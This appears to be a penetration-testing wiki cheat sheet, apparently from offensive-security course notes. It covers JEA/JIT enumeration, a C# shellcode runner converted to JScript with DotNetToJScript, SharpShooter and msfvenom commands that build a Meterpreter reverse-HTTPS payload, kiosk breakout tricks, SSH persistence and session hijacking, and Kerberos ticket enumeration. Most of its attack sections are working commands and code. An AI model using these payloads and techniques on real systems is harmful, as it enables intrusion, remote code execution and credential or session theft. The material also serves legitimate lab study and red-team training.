https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
